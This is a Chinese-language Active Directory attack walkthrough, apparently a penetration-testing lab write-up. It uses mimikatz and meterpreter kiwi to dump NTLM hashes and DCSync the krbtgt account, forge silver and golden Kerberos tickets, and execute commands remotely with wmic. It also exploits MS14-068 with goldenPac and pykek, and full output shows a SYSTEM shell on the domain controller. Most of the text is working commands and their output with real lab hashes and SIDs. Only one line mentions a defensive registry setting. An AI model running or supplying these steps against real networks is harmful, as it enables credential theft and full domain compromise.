0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761 Kerberos DE1AY Administrator lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542 NTLM DE1AY Administrator lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932 Kerberos DE1AY de1ay lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate DE1AY WEB$ n.s. (Credentials KO)

其中这一条即为需要的Service Hash

1
0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }

伪造白银票据

尝试访问主机WEB
alt text

需要进行身份验证

伪造票据前先清空票据,保证票据列表干净

1
2
kerberos::list #列出票据
kerberos::purge # 清除票据

伪造票据:

1
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID

获取域的SID可以通过wmic useraccount where name=”krbtgt” get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt
alt text

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID

注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID

获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:

1
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt

alt text

再次访问WEB服务器,成功
alt text

访问DC仍然需要验证:
alt text

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:
alt text

服务端可能的防御措施:
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效

黄金票据(Golden Tickets)

  • 需要与DC通信
  • 需要krbtgt用户的Hash(KDC Hash)

域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递。

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。

获取krbtgt用户哈希

DCSync (mimikatz)

mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

1
lsadump::dcsync /user:krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
mimikatz # lsadump::dcsync /user:krbtgt
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/9/9 10:44:59
Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
Object Relative ID : 502

Credentials:
Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
lm - 0: 9b5cd36575630d629f3aa6d769ec91c3

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : DE1AY.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
des_cbc_md5 (4096) : 79c8dc79fe467552

* Primary:Kerberos *
Default Salt : DE1AY.COMkrbtgt
Credentials
des_cbc_md5 : 79c8dc79fe467552

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 6486daf200f85102b9a66f0bb698f964
02 618b4df7c8262508a26641b5271693fe
03 657b7f6a13829e21c18da26ee927dd7a
04 6486daf200f85102b9a66f0bb698f964
05 618b4df7c8262508a26641b5271693fe
06 6702b7e06d68443bbd003fa1fd2ad6c2
07 6486daf200f85102b9a66f0bb698f964
08 5057528d4ee40f9ffda5ab89fc76e45c
09 5057528d4ee40f9ffda5ab89fc76e45c
10 ec101c8f1831c5ddefbcdabf2d854077
11 48c89ab471a5a096c8895ca7c9fb8098
12 5057528d4ee40f9ffda5ab89fc76e45c
13 f63f9768f77b7a60dd75f79b210d31c5
14 48c89ab471a5a096c8895ca7c9fb8098
15 334888d42cd914936f94d6c2875f77a3
16 334888d42cd914936f94d6c2875f77a3
17 930580b0e2523dbc40d8b34efc9a83d1
18 d7bb3256dc319c0a9bdbff3ef0b3d618
19 120122f0735a3841c210d145d092d0fc
20 d371f34cf41adb5a09c8507a94066c48
21 61b1669bec1aa4a9873703229854e57d
22 61b1669bec1aa4a9873703229854e57d
23 963efa120b17bf8ea89eb2906fdf0092
24 8a015afc23c33423a0557e59bd6d573c
25 8a015afc23c33423a0557e59bd6d573c
26 a1fa583bfc8008249d6649630aada4a0
27 c13cf2b5ecb0894a09f8dd0831732da4
28 679145bff502118a02f6f3af19067da2
29 e371aa57cba0556074c58686ef433c30

或者在 meterpreter 中使用 kiwi 扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dcsync_ntlm krbtgt

meterpreter > getuid
Server username: DE1AY\Administrator
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
[+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
[+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
[+] RID : 502
LSA(mimikatz)

mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

1
2
privilege::debug
lsadump::lsa /inject /name:krbtgt
Hashdump(Meterpreter)

alt text

伪造黄金票据

使用meterpreter中的kiwi模块
1
2
3
4
5
6
7
load kiwi

创建票据

golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>

golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket

alt text

对域内其他机器进行共享访问,因为无权限失败
alt text

注入到内存

1
kerberos_ticket_use /tmp/krbtgt.ticket

再次访问
可成功访问域内其他机器和域控
alt text

此时也可使用wmic在WEB机器上执行命令

1
wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"

alt text

命令已经在目标服务器上以administrator权限成功执行
alt text

使用mimikatz
1
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

访问另一台机器WEB \\web\C$ 需要身份验证
alt text

使用mimikatz伪造黄金票据
进入mimikatz交互界面
使用kerberos::list查看当前凭据列表

alt text

发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的
alt text

使用前面获得的krbtgt用户的哈希生成黄金票据

SID

1
Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502

注意这里的是域SID+RID(-502) RID去掉后才是域SID

NTLM Hash

1
82dfc71b72a11ef37d663047bc2088fb

生成黄金票据并注入内存

1
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt

alt text

查看票据 kerberos::list
alt text

再次尝试访问目标服务器WEB
alt text

同样也可以访问DC服务器(或域内任意一台机器)
alt text

注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议

ms14-068 域提权漏洞

利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限

利用前提

  • 域控机器没有安装MS14-068补丁
  • 获取到域内普通用户的密码/Hash 以及SUID

可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞
alt text

利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac模块

先查看当前用户权限
alt text

Domain Users用户组

访问DC目录被拒绝
alt text

goldenPac

复制goldenPac.exe 到目标机器
目前已获取当前机器普通域用户leo 密码 123.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
goldenPac <域名>/<用户名>:<密码>@<域控地址>

C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

或者使用proxychains将goldenPac代理进内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>

goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题

pykek

使用方法:

1
ms14.068.exe -u <用户名>@<域名>  -s <SID> -d <DC机器地址或ip> -p <用户密码>

alt text

1
2
3
4
5
6
7
8
9
10
11
C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
[+] Building AS-REQ for dc.sun.com... Done!
[+] Sending AS-REQ to dc.sun.com... Done!
[+] Receiving AS-REP from dc.sun.com... Done!
[+] Parsing AS-REP from dc.sun.com... Done!
[+] Building TGS-REQ for dc.sun.com... Done!
[+] Sending TGS-REQ to dc.sun.com... Done!
[+] Receiving TGS-REP from dc.sun.com... Done!
[+] Parsing TGS-REP from dc.sun.com... Done!
[+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!

alt text

获得ccache文件后,可使用mimikatz进行票据注入

kerberos::purge或者cmd中执行klist purge
alt text

1
kerberos::ptc cache路径

alt text

注入完成后再次尝试是否有权限访问域控
alt text